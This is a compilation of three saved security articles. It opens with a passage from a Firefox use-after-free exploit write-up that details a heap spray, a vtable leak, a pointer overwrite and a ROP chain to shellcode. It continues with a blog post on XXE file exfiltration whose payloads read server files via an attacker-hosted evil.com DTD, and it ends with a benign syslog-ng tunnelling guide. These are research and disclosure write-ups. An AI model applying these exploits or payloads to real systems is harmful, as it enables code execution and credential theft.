0A0FBFE0  \xb4\x00\x00\x00\xE8\x00\x00\x0a\x41\x00\x41\x00\x42\x00\x42\x00  
0A0FBFF0  \x43\x00\x43\x00\x44\x00\x44\x00\x45\x00\x45\x00\x46\x00\x00\x00  
0A0FC000 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00  
&  
0A0FC0C0 \x00\x00\x00\x00\x10\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11  
&  
0A0FFFD0 \x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00  
&  
0A0FFFF0 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00  
  
---  
Even though the bit array seems uninteresting, it will be useful in order to
perform the information leak. As explained above, the following pseudo code
inside the "_js\_GetGCThingTraceKind\(\)_ " function will be used to retrieve
an index which will later be used in a jump table:

  
ptr = \(attack\_controlled\_value & 0xFFFFF000\)  
idx = \*\(ptr + 0xc\) & 0xFF  
return kind\[idx \* 4\];  
  
---  
By supplying the value 0x0A0FFFF8, _ptr_ will be equal to 0x0A0FF000. Then the
value at 0x0A0FF00C is retrieved and will point to the bit array values of
0x11111111. Since a AND 0xFF is performed on the retrieved value, the _idx_
variable is now 0x11. It happens that the 0x11th dword in the _kind_ array has
the value 0x1. This function thus returns 1 given the address 0x0A0FFFF8.  
  
The call in the jump table with the index 1, will eventually lead Firefox to
the "_js::gc::PushMarkStack\(\)_ " function which is where the actual memory
corruption occurs. This pseudo code is then executed, again with the value
0x0A0FFFF8:  

  
value = \(thing >> 3\) & 0x1F  
value = \(1 << value\)  
offset = \(thing & 0x1FFFF\) >> 5  
base\_addr = \(thing & 0xFFF\)  
\[base\_addr + offset \* 4 + 0xFC0C4\] |= value  
  
---  
This code will then assign the following values to the variables:

  
value = 0x80000000  
offset = 0xFFF  
base\_addr = 0x0A000000  
  
---  
The address that will be corrupted will be 0x0A1000C0, which happens to be the
location of the length dword of the strings objects inside the heap spray. The
string size will then be ORed with 0x80000000 giving a huge string length.  
  
We can then just check the length of all strings and perform a memory search
with the one having a huge size. Obviously the _vTable_ that will be leaking
is the _vTable_ of the DOM objects heap spray located right after the short
string heap spray.  
  
_2\) Overwritting a DOM object pointer_  
  
Since the spray of DOM object does not have the bit array marker at the end of
the page, the object spray will be split. The first half being a classic heap
spray whose only purpose will be to contain the value 0x11 in order to take
the good code path. The other will be an object spray.  
  
The object used to perform the object spray is an HTML tag whose size is 0x80
bytes wide which results in an aligned heap spray.  
  
At a first time, a spray of string of size 0x80000 will be performed. It will
have the effect of forcing Firefox to create 0x100000 bytes pages, filling
them with a 0x80000 bytes string and leaving the other half empty.  
  
Then an object spray is performed which will fill the bottom half of the
previously allocated memory.  
  
Each page has then the following layout:

  
Address Values  
&  
14001000 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90  
&  
14003000 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x11\x00\x00\x00  
...  
14081080  \x4C\xF2\xAE\x01\x34\xF7\xAE\x01\x00\x00\x00\x00\xXX\xXX\xXX\xXX  
14081090 \xXX\xXX\xXX\xXX\x00\x00\x10\x00\x0E\x00\x00\x00\x00\x11\x08\x14  
...  
14081100  \x4C\xF2\xAE\x01\x34\xF7\xAE\x01\x00\x00\x00\x00\xXX\xXX\xXX\xXX  
14081110 \xXX\xXX\xXX\xXX\x00\x00\x10\x00\x0E\x00\x00\x00\x80\x11\x08\x14  
  
---  
The dwords in green are the object _vTable_ that will be leaked using the
method presented above. Even if it seems practical to modify the _vTable_
dword to point inside the heap spray, it is not always feasible under Windows
7. For example if the XUL _vTable_ pointer is 0x68B7F24C, performing an OR
operation on the MSB will not be useful. On the other hand, each dword in blue
points to the object located just after. By overwriting the MSB of this
pointer by 0x20000000, the pointer address MSB will become 0x3400000 and
points inside a heap spray performing the ROP and shellcode execution.  
  
Using the address 0x140036E8, allows achieving this:  

  
ptr = \(attack\_controlled\_value & 0xFFFFF000\)  
idx = \*\(ptr + 0xc\) & 0xFF  
return kind\[idx \* 4\];  
  
---  
_idx_ will be equal to \[0x1400300C\] = 0x11, the function will then return 1
and jump into the wanted code path.  
  
Then, the following pseudo code is executed again:

  
value = \(thing >> 3\) & 0x1F  
value = \(1 << value\)  
offset = \(thing & 0x1FFFF\) >> 5  
base\_addr = \(thing & 0xFFF\)  
\[base\_addr + offset \* 4 + 0xFC0C4\] |= value  
  
---  
Giving \[0x140FC19C\] |= 0x20000000, with the address 0x140FC19C pointing to
the pointer to next object. The dword now points to address 0x340FC19C. By
spraying the end of the heap spray used for the ROP with pointer to the
beginning on the ROP, for example 0x34000000, the fake _vTable_ will point in
the beginning of the ROP.  
  
Actually, the corruptions for the info leak and the DOM pointer overwrite, can
be performed by replacing only one _IDBKeyRange_ object. The complete code
dealing with the freed object is as follows:

  
.text:1053A8D8 void mozilla::dom::indexedDB::IDBKeyRange::cycleCollection
::Trace\(mozilla::dom::indexedDB::IDBKeyRange::cycleCollection \*this, void
\*p, void \(\_\_cdecl \*aCallback\)\(unsigned int, void \*, const char \*,
void \*\), void \*aClosure\)  
.text:1053A8D8 push ebp  
.text:1053A8D9 mov ebp, esp  
.text:1053A8DB push ecx  
.text:1053A8DC push ecx  
.text:1053A8DD push esi  
.text:1053A8DE mov esi, \[ebp+p\] // Retrieve freed object  
.text:1053A8E1 mov eax, \[esi+24h\]  
.text:1053A8E4 cmp eax, 0FFFFFF85h // Check the value of \[esi+24h\]  
.text:1053A8E7 jb short loc\_1053A901  
.text:1053A8E9 mov eax, \[esi+20h\] // EAX will be processed  
.text:1053A8EC test eax, eax  
.text:1053A8EE jz short loc\_1053A901  
.text:1053A8F0 push \[ebp+aClosure\]  
.text:1053A8F3 push offset aMcachedlowerva ; "mCachedLowerVal"  
.text:1053A8F8 push eax  
.text:1053A8F9 push 2  
.text:1053A8FB call \[ebp+aCallback\] //CheckParticipatesInCycleCollection\(\)  
...  
.text:1053A901 cmp dword ptr \[esi+2Ch\], 0FFFFFF85h  
.text:1053A905 mov eax, \[esi+28h\]  
.text:1053A908 jb short loc\_1053A91F  
.text:1053A90A test eax, eax  
.text:1053A90C jz short loc\_1053A91F  
.text:1053A90E push \[ebp+aClosure\]  
.text:1053A911 push offset aMcachedupperva ; "mCachedUpperVal"  
.text:1053A916 push eax  
.text:1053A917 push 2  
.text:1053A919 call \[ebp+aCallback\] //CheckParticipatesInCycleCollection\(\)  
...  
.text:1053A921 retn 10h  
  
---  
The first overwrite can then be performed with the _mCachedLowerVal_ field,
and the second one will be performed with the _mCachedUpperVal_. The final
exploit object will then looks as follows:

  
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00  
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\xFF\xFF\xFF\x41\x41\x41\x41\x85\xFF  
\xFF\xFF \x42\x42\x42\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00  
  
---  
_3\) Performing the ROP and triggering the overwritten pointer_  
  
Now that the XUL base address is leaked and the DOM object pointer has been
overwritten, a ROP is performed in XUL:

  
Address Value  
34000000 xulBase + 16DCE // ADD ESP,14 / RET  
34000004 90909090  
34000008 90909090  
3400000C 90909090  
34000010 90909090  
34000014 00000003 // Value checked by XUL leading to call \[eax+2FC\]  
34000018 90909090  
3400001C xulBase \+ 0x90D8 // POP EAX / RET  
34000020 xulBase + 0xA28280 // Address of VirtualProtectEx\(\) in XUL IAT  
34000024 xulBase + 0x1C3B8 // JMP \[EAX\]  
34000028 340000040 // Return address  
3400002C FFFFFFFF  // Arg1: -1  
34000030 340000040  //Arg2: Address to change protection on  
34000034 00001000  // Arg3: size = 4096  
34000038 00000040  //Arg4: PROT\_READ|PROT\_WRITE|PROT\_EXEC  
3400003C 3300003C //Arg5: Address of oldprot  
34000040 Shellcode  
...  
340002FC xulBase + 0x2AC0A  // XCHG EAX,ESP / RET  
  
---  
After the ROP is performed, the vulnerability can be triggered again.  
  
The dword at offset 0x14 needs to be 0x3 in order for a "call \[eax+2FC\]" to
be triggered.  
The dword at offset 0x2FC will then point to a gadget performing a stack
pivot: XCHG EAX,ESP / RET.  
  
Each object in the body will have its "_getInnerHTML\(\)_ " function called,
including the overwritten object leading to code execution with ASLR and DEP
bypass.

# GDS - Blog - Automated Data Exfiltration with XXE

**Created:**| _4/30/2015 10:58:00 AM_  
---|---  
**Updated:**| _4/30/2015 10:58:00 AM_  
**Author:**| __  
**Tags:**| _JavaScript_  
  
  
---  
Categories

  * Application Security \(63\)
  * Cloud Security \(2\)
  * General Security \(13\)
  * Infrastructure Security \(11\)
  * Mobile Security \(10\)
  * Tools \(30\)
  * Web Security \(4\)

Archives

  * April 2015 \(2\)
  * March 2015 \(3\)
  * February 2015 \(4\)
  * January 2015 \(2\)
  * December 2014 \(1\)
  * October 2014 \(1\)
  * September 2014 \(1\)
  * August 2014 \(1\)
  * July 2014 \(2\)
  * June 2014 \(2\)
  * April 2014 \(2\)
  * February 2014 \(1\)
  * December 2013 \(2\)
  * November 2013 \(3\)
  * October 2013 \(1\)
  * September 2013 \(4\)
  * August 2013 \(1\)
  * June 2013 \(1\)
  * May 2013 \(2\)
  * March 2013 \(2\)
  * February 2013 \(3\)
  * December 2012 \(1\)
  * August 2012 \(1\)
  * July 2012 \(1\)
  * June 2012 \(1\)
  * May 2012 \(2\)
  * March 2012 \(1\)
  * November 2011 \(1\)
  * September 2011 \(2\)
  * August 2011 \(2\)
  * June 2011 \(2\)
  * May 2011 \(1\)
  * April 2011 \(1\)
  * November 2010 \(3\)
  * October 2010 \(2\)
  * September 2010 \(2\)
  * August 2010 \(1\)
  * July 2010 \(1\)
  * May 2010 \(2\)
  * April 2010 \(1\)
  * March 2010 \(2\)
  * February 2010 \(1\)
  * January 2010 \(1\)
  * November 2009 \(3\)
  * October 2009 \(1\)
  * August 2009 \(3\)
  * April 2009 \(1\)
  * March 2009 \(2\)
  * February 2009 \(1\)
  * December 2008 \(2\)
  * October 2008 \(1\)
  * September 2008 \(1\)
  * August 2008 \(3\)
  * June 2008 \(1\)
  * May 2008 \(1\)
  * April 2008 \(1\)
  * March 2008 \(1\)
  * February 2008 \(2\)
  * January 2008 \(1\)
  * December 2007 \(4\)
  * November 2007 \(3\)
  * October 2007 \(2\)

Recent Posts

  * Automated Data Exfiltration with XXE
  * Node.js Server-Side JavaScript Injection Detection & Exploitation
  * WebLogic SSRF and XSS \(CVE-2014-4241, CVE-2014-4210, CVE-2014-4242\)
  * Nimbus Protocol Enumeration with Nmap
  * SmartThings SSL Certificate Validation Vulnerability

Twitter

@gdssecurity

Automate data exfiltration with XXE using techniques and a new tool outlined
in our latest blog post. Read more here\! http://t.co/I9OB7F2WD4

about 17 hours ago

@gdssecurity

RT @SendSafely: Don't forget to come by our booth today, \#2544​ in the South
Pavilion. Brian and Erik would love to meet you\! http://t.co/G…

about 6 days ago

Newer Older

Follow @gdssecurity

Tags

.NET 101 AlienVault AMF Android AntiXSS API AppSec April Fools ASP.NET Azure
BlazeDS Blazentoo Burp Burpee casbah Certificates CHECK Cloud Conference
Configuration Crypto CSAW CSI CSP CTF Custom Rules Deflate Docker Dojo
DotNetNuke EC2 ELB Event Validation Exploitation findbugs FIX Flex Fortify FTP
Fuzzing GWT GWTEnum GWTParse HTLM5 IIS Internet of Things iOS IronWasp ISSD
Java JavaScript jetty Metasploit Mobile Mobile Security Nessus Network Network
Security Tools Nimbus Nmap Node.js nslog oracle OSSIM OWASP PadBuster Padding
Oracle Pentesting PMD Rails Real World Response.Redirect RFC saml SCA scala
Secure Coding Security SendSafely Server.Transfer shellshock Simulator Social
Engineering SOURCE SPF Spring SQL Injection SqlBrute SSL/TLS Static Analysis
StockTrader Threat Modeling Tracer Training Transformer.NET Umbraco VMWare
vuln disclosure WCF Web 2.0 Web Security weblogic WebMatrix whitepaper Wifi
Windows xml XSS XSS worm xxe

Main | Node.js Server-Side JavaScript Injection Detection & Exploitation »
##  Automated Data Exfiltration with XXE

<img src='img/Temp2_3377.png' alt='Date' />Wednesday, April 29, 2015 at 1:40PM

During a recent penetration test GDS assessed an interesting RESTful web
service that lead to the development of a tool for automating the process of
exploiting an XXE \(XML External Entity\) processing vulnerability to
exfiltrate data from the compromised system’s file system. In this post we
will have a look at a sample web service that creates user accounts in order
to demonstrate the usefulness of the tool.

The example request below shows four parameters in the body of the HTTP
request:

###### PUT /api/user HTTP/1.1

###### Host: example.com

###### Content-Type: application/xml

###### Content-Length: 109

###### <?xml version=”1.0” encoding=”UTF-8” standalone=”yes”?>

###### <firstname>John</firstname>

###### <surname>Doe</surname>

###### <email>jdoe@redacted.com</email>

<role>admin</role>

The associated HTTP response contains the id of the created account in
addition to the parameters supplied in the request:

###### HTTP/1.1 200 OK

###### Date: Tue, 03 Mar 2015 10:57:28 GMT

###### Content-Type: application/xml

###### Content-Length: 557

###### Connection: keep-alive

###### \{

######  “userId”: 123,

######  “firstname”: “John”,

######  “surname”: “Doe”,

######  “email”: “jdoe@example.com”,

######  “role”: “admin”

\}

Note that the web service accepts JSON and XML input, which explains why the
response is JSON encoded. Supporting multiple data formats is becoming more
common and has been detailed by a recent blog post by Antti Rantasaari.

A typical proof of concept for XXE is to retrieve the content of /etc/passwd,
but with some XML parsers it is also possible to get directory listings. The
following request defines the external entity “xxe” to contain the directory
listing for “/etc/tomcat7/”:

###### PUT /api/user HTTP/1.1

###### Host: example.com

###### Content-Type: application/xml

###### Content-Length: 233

###### <?xml version=”1.0” encoding=”UTF-8” standalone=”yes”?>

###### <\!DOCTYPE foo \[

######  <\!ENTITY xxe SYSTEM “file:///etc/tomcat7/”>

###### \]>

###### <user>

######  <firstname>John</firstname>

######  <surname>&xxe;</surname>

######  <email>jdoe@example.com</email>

######  <role>admin</role>

</user>

By referencing “&xxe;” in the surname element we should be able to see the
directory listing in the response. Here it is:

###### HTTP/1.1 200 OK

###### Date: Tue, 03 Mar 2015 11:04:01 GMT

###### Content-Type: application/xml

###### Content-Length: 557

###### Connection: keep-alive

###### \{

######  “userId”: 126,

######  “firstname”: “John”,

######  “surname”:
“Catalina\ncatalina.properties\ncontext.xml\nlogging.properties\npolicy.d\nserver.xml\ntomcat-
users.xml\nweb.xml\n”,

######  “email”: “jdoe@example.com”,

######  “role”: “admin”

\}

## The Tool

Now that we can get directory listings and retrieve files the logical next
step is to automate the process and download as many files as possible. The
Python script linked below does exactly this. For example, we can mirror the
directory “/etc/tomcat”:

###### \# python xxeclient.py /etc/tomcat7/

###### 2015-04-24 16:21:10,650 \[INFO \] retrieving /etc/tomcat7/

###### 2015-04-24 16:21:10,668 \[INFO \] retrieving /etc/tomcat7/Catalina/

###### 2015-04-24 16:21:10,690 \[INFO \] retrieving
/etc/tomcat7/Catalina/localhost/

###### 2015-04-24 16:21:10,696 \[INFO \] looks like a file:
/etc/tomcat7/Catalina/localhost/

###### 2015-04-24 16:21:10,699 \[INFO \] saving etc/tomcat7/Catalina/localhost

###### 2015-04-24 16:21:10,700 \[INFO \] retrieving
/etc/tomcat7/catalina.properties/

###### 2015-04-24 16:21:10,711 \[INFO \] looks like a file:
/etc/tomcat7/catalina.properties/

###### 2015-04-24 16:21:10,714 \[INFO \] saving
etc/tomcat7/catalina.properties

###### 2015-04-24 16:21:10,715 \[INFO \] retrieving /etc/tomcat7/context.xml/

###### 2015-04-24 16:21:10,721 \[INFO \] looks like a file:
/etc/tomcat7/context.xml/

###### 2015-04-24 16:21:10,721 \[INFO \] saving etc/tomcat7/context.xml

\[…\]

Now we can grep through the mirrored files to look for passwords and other
interesting information. For example, the file “/etc/tomcat7/context.xml” may
contain database credentials:

###### <?xml version=”1.0” encoding=”UTF-8”?>

###### <Context>

######  <Resource name=”jdbc/myDB”

######  auth=”Container”

######  type=”javax.sql.DataSource”

######  username=”sqluser”

######  password=”password”

######  driverClassName=”com.mysql.jdbc.Driver”

######  url=”jdbc:mysql://…”/>

</Context>

## How it works

The XXE payload used in the above request effectively copies the content of
the file into the “<surname>” tag. As a result invalid XML \(e.g. a file
containing unmatched angle brackets\) leads to parsing errors. Moreover the
application might ignore unexpected XML tags.

To overcome these limitations the file content can be encapsulated in a CDATA
section \(an approach adopted from a presentation by Timothy D. Morgan\). With
the following request, five entities are declared. The file content is loaded
into “%file”, “%start” starts a CDATA section and “%end” closes it. Finally,
“%dtd” loads a specially crafted dtd file, which defines the entity “xxe” by
concatenating “%start”, “%file” and “%end”. This entity is then referenced in
the “<surname>” tag.

###### PUT /api/user HTTP/1.1

###### Host: example.com

###### Content-Type: application/xml

###### Content-Length: 378

###### <?xml version=”1.0” encoding=”UTF-8” standalone=”yes”?>

###### <\!DOCTYPE updateProfile \[

######  <\!ENTITY % file SYSTEM “file:///etc/tomcat7/context.xml”>

######  <\!ENTITY % start “<\!\[CDATA\[“>

######  <\!ENTITY % end “\]\]>”>

######  <\!ENTITY % dtd SYSTEM “http://evil.com/evil.dtd”>

###### %dtd;

###### \]>

###### <user>

######  <firstname>John</firstname>

######  <surname>&xxe;</surname>

######  <email>jdoe@example.com</email>

######  <role>admin</role>

</user>

This is the resource “evil.dtd” that is loaded from web server we control:

<\!ENTITY xxe “%start;%file;%end;”>

The response actually contains the content of the configuration file
“/etc/tomcat7/context.xml”.

###### HTTP/1.1 200 OK

###### Date: Tue, 03 Mar 2015 11:12:43 GMT

###### Content-Type: application/xml

###### Content-Length: 557

###### Connection: keep-alive

###### \{

######  “userId”: 127,

######  “firstname”: “John”,

######  “surname”: “<?xml version=”1.0”
encoding=”UTF-8”?>\n<Context>\n<Resource name=”jdbc/myDB” auth=”Container”
type=”javax.sql.DataSource” username=”sqluser” password=”password”
driverClassName=”com.mysql.jdbc.Driver” url=”jdbc:mysql://…”/>\n</Context>”,

######  “email”: “jdoe@example.com”,

######  “role”: “admin”

\}

## Caveats

Note that this technique only works if the server processing the XML input is
allowed to make outbound connections to our server to fetch the file
“evil.dtd”. Additionally, files containing ‘%’ \(and in some cases ‘&’\) signs
or non-Unicode characters \(e.g. bytes < 0x20\) still result in a parsing
error. Moreover, the sequence “\]\]>” causes problems because it terminates
the CDATA section.

In the directory listing, there is no reliable way to distinguish between
files and directories. The script assumes that files only contain
alphanumerics, space and the following characters: “$.-\_~”. Alternatively, we
could also treat every file as a directory, iterate over its lines and try to
download these possible files or subdirectories. However, this would result in
too much overhead when encountering large files.

The script is tailored for the above example, but by changing the XML template
and the “\_parse\_response\(\)” method it should be fairly easy to adapt it
for another target.

The script is available on GitHub: https://github.com/GDSSecurity/xxe-
recursive-download

## Summary

One way to exploit XXE is to download files from the target server. Some
parsers also return a directory listing. In this case we can use the presented
script to recursively download whole directories. However, there are
restrictions on the file content because certain characters can break the XML
syntax.

# Remote Logging with SSH and Syslog-NG

**Created:**| _10/25/2011 11:29:28 AM_  
---|---  
**Updated:**| _10/25/2011 11:29:28 AM_  
**Author:**| __  
**Tags:**| _network-security Logs_  
  

# Remote Logging with SSH and Syslog-NG

Hal Pomeranz, Deer Run Associates

One of the points I make repeatedly in my training classes is the value of
centralized logging. Keeping an off-line copy of your site's logs on some
central, secure log server not only gives you greater visibility from a
systems management perspective, but can prove invaluable after a security
incident when the local copies of the log files on the target system\(s\) have
been compromised by the attacker.

The difficulty is that the standard Unix Syslog daemon uses unauthenticated
UDP messages to transmit log messages to remote servers. This makes drilling
holes in your firewalls to accept Syslog messages from remote locations very
undesirable, to say nothing of the security implications of having critical
system log messages traveling in clear text over public networks. Use of IPSEC
or some other strong VPN product can certainly help mitigate these concerns,
but if all you care about is obtaining logging information from some remote
site then firing up a full-bore VPN session may seem like overkill.

However, the fact that UDP is not a guaranteed delivery protocol also means
that important log messages can be dropped entirely. While lack of guaranteed
delivery can be a factor for Syslog messages in LAN environments, the risk
becomes much greater when trying to drive remote log messages across highly
congested public networks. Simply using a VPN to protect the security of the
remote log stream does nothing to address the guaranteed delivery concern.
This is where Syslog-NG becomes attractive, because two Syslog-NG servers can
share remote logging information using TCP rather than UDP. But once you're
logging via TCP, then it is also possible to tunnel this TCP communication via
SSH rather than firing up a full VPN-- the "best of both worlds" if you're
looking for a quick and dirty solution.

The rest of this article covers the basic configuration for establishing an
SSH tunnel between two servers and configuring Syslog-NG at both ends to
communicate log messages down this tunnel. Because Syslog-NG is capable of
both accepting UDP-based log messages from standard Unix Syslog daemons as
well as forwarding those messages to another machine, it is possible to set up
a single Syslog-NG server at a remote site which acts as a collector and relay
for the log messages generated by all machines at that location, but this
configuration is largely outside of the scope of this article \(though I'll
give you some pointers in that direction as we go along\).

## Start with SSH

The first step is to get the SSH tunnel set up between the two machines. My
personal preference is to originate the SSH tunnel on my central "loghost"
machine at the primary site, and have it connect to the machine at the
"remote" site that I want to get logs from. Typically this involves drilling
out through the firewall at the primary site-- often the site's default
firewall rules will allow this connection without any reconfiguration-- and
allowing the connection "inward" through the firewall at the remote end, which
usually requires some firewall ruleset tweaks on the remote site's firewall.

However, since we want the remote log server to be sending logs back to the
central loghost at the primary site, we need to use a _reverse tunnel_\(that's
the "-R" option on the SSH command line\) to get things working properly. This
is actually one of very few places where I find reverse tunnels to be useful.
Figure A, below, shows a high-level picture of how the traffic is flowing in
this design.

<img src='img/Temp2_6810.gif' />

We need to make sure that the SSH session and tunnel are set up automatically
when the central log host boots. If the SSH session dies for some reason
\(intermittent network outage, system administration "accident", etc\) we'd
also like the connection to be re-established as quickly as possible. In
situations like this, I like to have the init process fire off the SSH
connection with a line like this in /etc/inittab:

[code]

            log1:3:respawn:/usr/bin/ssh -nNTx
                -R 514:loghost.domain.com:514
                remote.domain.com >/dev/null 2>&1
    
[/code]

The example above must appear as a single long line in /etc/inittab\-- I've
just broken it onto multiple lines for clarity.

Let's examine the SSH command line first. The "-R 514:loghost.domain.com:514"
on the second line of the example sets up the reverse tunnel from 514/tcp on
the remote server to "loghost.domain.com:514"\-- in other words, port 514/tcp
on the central loghost machine. While it seems natural to use 514/tcp for
Syslog-NG logging, you have to remember that 514/tcp is the reserved port for
the Unix rlogin/rsh service so you're going to run into a port conflict if you
still have these services enabled. I generally turn off unencrypted network
protocols like telnet, FTP, rlogin/rsh/rcp on my servers and use SSH instead,
so it's not an issue for me, but you can run this tunnel over any free ports
if there is a conflict at your site.

As for the other SSH command line options above, the "-n" flag tells SSH to
associate the standard input with /dev/null. There won't be any command line
input since we're essentially going to be running the SSH client as a "daemon"
via init. As you can see at the end of the command line in the example, we're
also sending the standard output and standard error to /dev/null as well
\("... >/dev/null 2>&1"\). Since we're never going to be issuing remote
commands via this SSH connection \(we only care about the tunnel\), the "-N"
option to SSH tells the SSH client to only set up the tunnel and to not bother
preparing a command stream for issuing commands on the remote system, while
"-T" says to not bother allocating a pseudo-tty on the remote system. The "-x"
option disables X11 forwarding, just as a defense-in-depth gesture.

Turning our attention to the rest of the /etc/initab entry, the first field
\("log1"\) is just an identifier for this entry in the inittab file. These
identifiers can be any sequence of 2-4 alphanumeric characters; the only
requirement is that they be unique from all other identifiers used in the
file. I've chosen "log1" here because it's usually the case that I have
multiple SSH tunnels set up to different remote log sources, and I typically
name the inittab entries "log1", "log2", etc. The second field in the inittab
file \("3"\) is the run level where this entry should be fired. Make sure to
start this SSH process _after_ the network interfaces have been initialized
but _before_ the Syslog-NG daemon is started.

The "respawn" option in the third field is the reason I like to use init for
spawning processes like this. When the "respawn" option is enabled, the init
process will automatically fire off a new SSH process if the old one dies for
any reason. In other words, init acts a like a "watchdog" type daemon and
makes sure that the SSH tunnel is always up and running. This is an extremely
useful technique, but one that a lot of system admins seem to have forgotten.

Once you've got your inittab entry all set up, HUP the init process \("kill
-HUP 1"\). This should cause the init process to re-read the inittab file and
spawn the SSH connection. You should be able to verify that the SSH client is
running with the ps command and verify the existence of the tunnel using
netstat. Once you've got all that working, it's time to turn our attention to
configuring Syslog-NG.

## Configuring Syslog-NG

In general, configuration of Syslog-NG is well covered by Balazs Scheidler's
reference manual\[1\] and Nate Campi's excellent FAQ\[2\]. So allow me to just
present complete configuration examples for the main loghost and remote log
server and point out the critical bits.

First let's take a look at the configuration for the main loghost:

[code]

            options { check_hostname(yes);
                      keep_hostname(yes);
                      chain_hostnames(no); };
    
            source inputs { internal();
                            unix-stream("/dev/log");
                            udp();
                            tcp(max_connections(100)); };
    
            destination logpile {
               file("/logs/$HOST/$YEAR/$MONTH/$FACILITY.$YEAR$MONTH$DAY"
               owner(root) group(root) perm(0600)
               create_dirs(yes) dir_perm(0700)); };
    
            log { source(inputs); destination(logpile); };
    
[/code]

As far as the options go, "check\_hostname\(yes\)" forces Syslog-NG to do a
little bit of sanity checking on the incoming remote hostname in the log
message. In our destination directive we'll be creating directories for each
system's logs by hostname and it wouldn't be good if an attacker could embed
shell meta-characters in the hostname to cause us problems.
"keep\_hostname\(yes\)" means to use the hostname that's presented in the
actual message from the remote log server rather than using the hostname we
get by resolving the source of the remote Syslog connection. After all, since
we expect remote messages to be coming down our SSH tunnel, the source IP
address of these messages will be the loopback address \(127.0.0.1\), and
having all messages tagged with "localhost" is not what we want.
"chain\_hostnames\(no\)" causes Syslog-NG just to show the original hostname
in the message rather than a chain of all the hops the message has been
through to get to its final destination. This becomes a lot more relevant when
you start relaying messages through multiple servers.

The inputs cover all of the various places we can get logging information
from. "internal\(\)" is internal messages from the Syslog-NG daemon itself.
"unix-stream\("/dev/log"\)" is the normal /dev/log device that Linux systems
use for local logging. Note that if you're on a non-Linux platform like
Solaris, HP-UX, or one of the \*BSD operating systems then your local log
channel is likely to be _very_ different \(examples of appropriate
configurations for various operating systems can be found in the Syslog-NG
source distribution\). Some sites actually run the vendor Syslog in parallel
with Syslog-NG rather than having to deal with the problem of emulating the
standard vendor Syslog interfaces-- the vendor Syslog daemon can just relay
messages to Syslog-NG via the standard UDP Syslog channel, even within the
same machine. The "udp\(\)" line means to listen on the standard 514/udp
Syslog channel and "tcp\(\)" means to listen on 514/tcp for messages from
another Syslog-NG server \(or in our case, the SSH tunnel\). Note that both
the "tcp\(\)" and "udp\(\)" options accept the "port\(\)" option to specify a
different port. For example, if you wanted your Syslog-NG server to listen on
port 5014/tcp to avoid conflicts with the rlogin/rsh daemon you would write:

tcp\(port\(5014\) max-connections\(100\)\);

Note also the use of the "max\_connections\(\)" option to increase the number
of simultaneous TCP sessions the logging daemon can handle.

The destination clause allows us to specify a "log sink", or place where we
want our logs to end up. Here we're using some built-in Syslog-NG macros to
force incoming log messages to be divided out into directories: first by
hostname, and then by year and month. Within each directory, messages will go
into log files named for the Syslog facility the message was logged to \(mail,
auth, kern, local0, etc\), with each file having a date stamp attached. Notice
that with Syslog-NG automatically creating a new file for each day of logs, we
don't even need a separate log rotation program\! This is just one more useful
feature of Syslog-NG. The other options to the "file\(\)" directive make sure
that directories will be created as needed and set sensible ownerships and
permissions on the newly created files and directories.

Having defined our inputs and destination directives, we combine them into log
declarations to actually tell the Syslog-NG daemon what to do with the
incoming messages. Here we're just doing the trivial rule that sends all of
our incoming messages from all sources into the log file directory hierarchy
we defined in the destination directive above.

With the basic configuration of the central loghost out of the way, let's take
a look at a sample configuration for the remote log server on the other end of
the SSH tunnel. It's actually not too much different from the configuration
for the central loghost:

[code]

            options { check_hostname(yes);
                      keep_hostname(yes);
                      chain_hostnames(no); };
    
            source inputs { internal();
                            unix-stream("/dev/log");
                            udp();
                            tcp(max_connections(100)); };
    
            destination logpile {
               file("/logs/$HOST/$YEAR/$MONTH/$FACILITY.$YEAR$MONTH$DAY"
               owner(root) group(root) perm(0600)
               create_dirs(yes) dir_perm(0700)); };
    
            destination remote { tcp("localhost"); };
    
            log { source(inputs); destination(logpile); };
            log { source(inputs); destination(remote); };
    
[/code]

Basically, all we've done here is added an additional destination directive
and an additional log directive. The "remote" destination says to log via TCP
to "localhost" using the default port 514/tcp \(since we didn't specify an
alternate port\). "localhost:514" should be the location of our reverse tunnel
endpoint. Note that if you used an alternate port for the tunnel endpoint, you
can specify it:

destination remote \{ tcp\("localhost" port\(5014\)\); \};

Our first log declaration keeps a local copy of all log messages received in a
directory structure on the remote log server that parallels the one on the
central loghost. The second log directive also relays a copy of all messages
back to the central log server via the SSH tunnel. It's up to you whether you
keep a local copy of the logs on the remote log server, but most likely the
admins at the remote site will appreciate having this copy of the logs.

Note that in the inputs section above, we've configured the standard "udp\(\)"
input for normal UDP Syslog messages. This means that other hosts at the
remote site can send Syslog messages to the remote log server and those
messages will be relayed by the Syslog-NG server back through the SSH tunnel
to the central log host at home base. We've also configured the remote log
server to listen for messages on the "tcp\(\)" input channel. Maybe there are
other Syslog-NG servers at the remote location, or perhaps there is an SSH
tunnel from the remote log server to some other remote site and we're chaining
log messages through multiple hops\!

## Conclusion

I think you'll find this a very easy little recipe to implement, and yet it
achieves a very powerful goal. Of course, once you have this big pile of logs
you're going to want some sort of tool that actually reads the logs for you
and send you the "interesting" events. You could use a simple tool like
Logcheck\[3\] or Swatch\[4\], or investigate some of the newer, fancier tools
out there like Logsurfer+\[5\], SEC\[6\], or Lire\[7\]. Whatever solution you
end up with, let me assure you that I never regret the effort I expend to set
up centralized logging and log monitoring, because the visibility I get as far
as what's happening on my networks is enormously useful.

## References

\[1\] Syslog-NG Reference Manual,
_http://www.balabit.com/products/syslog\_ng/reference/book1.html_

__

\[2\] Syslog-NG FAQ, _http://www.campin.net/syslog-ng/faq.html _

__

\[3\] Logcheck, _http://sourceforge.net/projects/sentrytools/ _

\[4\] Swatch, _http://swatch.sourceforge.net/_

__

\[5\] Logsurfer+, _http://www.crypt.gen.nz/logsurfer/_

__

\[6\] SEC, _http://kodu.neti.ee/~risto/sec/_

__

\[7\] Lire, _http://logreport.org/lire/ _
